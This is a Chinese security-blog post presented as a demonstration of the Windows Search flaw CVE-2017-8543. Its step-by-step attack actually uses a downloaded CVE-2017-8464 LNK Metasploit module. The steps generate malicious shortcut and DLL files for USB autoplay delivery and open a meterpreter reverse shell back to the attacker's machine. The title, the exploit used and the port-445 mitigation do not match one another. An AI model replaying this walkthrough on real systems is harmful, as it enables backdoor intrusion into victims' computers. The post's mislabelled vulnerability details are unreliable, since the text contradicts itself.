FavoriteLoading
0

Windows Search(CVE-2017-8543)遠程代碼執行漏洞演示

0x01概述

  我大概說一下,Windows Search是一個什么鬼東西,Windows Search是Windows搜索服務(WSS)即windows的一項默認啟用的基本服務,允許用戶在多個Windows服務和客戶端之間進行搜索。當Windows搜索處理內存中的對象時,存在遠程執行代碼漏洞。成功利用此漏洞的攻擊者可以控制受影響的系統。受影響的windows系統,我一會補充在下面。

0x02漏洞級別

        漏洞級別:嚴重

(說明:漏洞級別共四級:一般、重要、嚴重、緊急)

0x03影響范圍

          桌面系統:Windows XP, Vista, 7, 8, 8.1, RT 8.1, 10(次不刺激?)

        服務器系統:Windows Server 2003,2008,2012,2016

        微軟給出的參考說明:

        https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2017-8543

0x04進入演示攻擊

        那么網上給出的報告僅僅只是報告,我今天就來帶大家演示一遍攻擊過程。首先我要模擬攻擊者和靶機。

        kalix86   192.168.1.109  攻擊機

        windows7x64  192.168.1.101  目標靶機


 1.kali主機下載cve_2017_8464_lnk_rce.rb:

cd  /opt
wget  http://www.jvwkvg.tw/file/cve_2017_8464_lnk_rce.rb

將cve_2017_8464_lnk_rce.rb拷貝到
/usr/share/metasploit-framework/modules/exploit/windows/smb/目錄下:

cp  cve_2017_8464_lnk_rce.rb  /usr/share/metasploit-framework/modules/exploits/windows/smb/

生成監聽shell:

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.109
msf exploit(handler) > exploit -j

生成大量的.LNK文件(對應盤符從D盤到Z盤)和要加載的.dll文件(后門文件, copy了一個lnk文件(根據插入靶機U盤后識別的盤符,例如我插入U盤后顯示的E盤,所以就選擇了E結尾的lnk文件)和dll文件到U盤)

msf exploit(handler) > back
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.1.109
msf exploit(cve_2017_8464_lnk_rce) > exploit

將/root/.msf4/local/*所有文件拷貝到/opt目錄下的test文件夾中,然后拷貝到目標靶機windows7X64上

[email protected]:~# cd /opt
[email protected]:/opt# mkdir test
[email protected]:/opt# cp  /root/.msf4/local/*   test/
[email protected]:/opt# cd  test/
[email protected]:/opt/test# ls

拷貝的本機win7x64上:

然后點擊快捷鍵,就會觸發注冊dll文件,如果不行直接注冊dll文件(一般是將這項快捷鍵和DLL文件拷貝到一個文件夾里面然后拷貝到U盤,只要對方開了U盤自動啟動播放功能,就會自動觸發注冊dll文件)

在kali下可以看到成功獲得sesions會話為1

sessions  -i 1

然后進入到會話,就會成功進入到metermter的shell界面:

到這里就演示結束了..

0x05排查方案

        檢查windows系統版本,如果版本在受影響的產品清單中,則受該漏洞影響。

0x06安全建議

        1.在系統防火墻或者安全組對445端口進行限制;
        2.升級建議:可通過Windows Update自動更新微軟補丁修復漏洞,也可以手動下載補丁,補丁下載地址:
        https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2017-8543
        注意:修復漏洞前請將資料備份,并進行充分測試。

【聲明】:8090安全小組門戶(http://www.jvwkvg.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。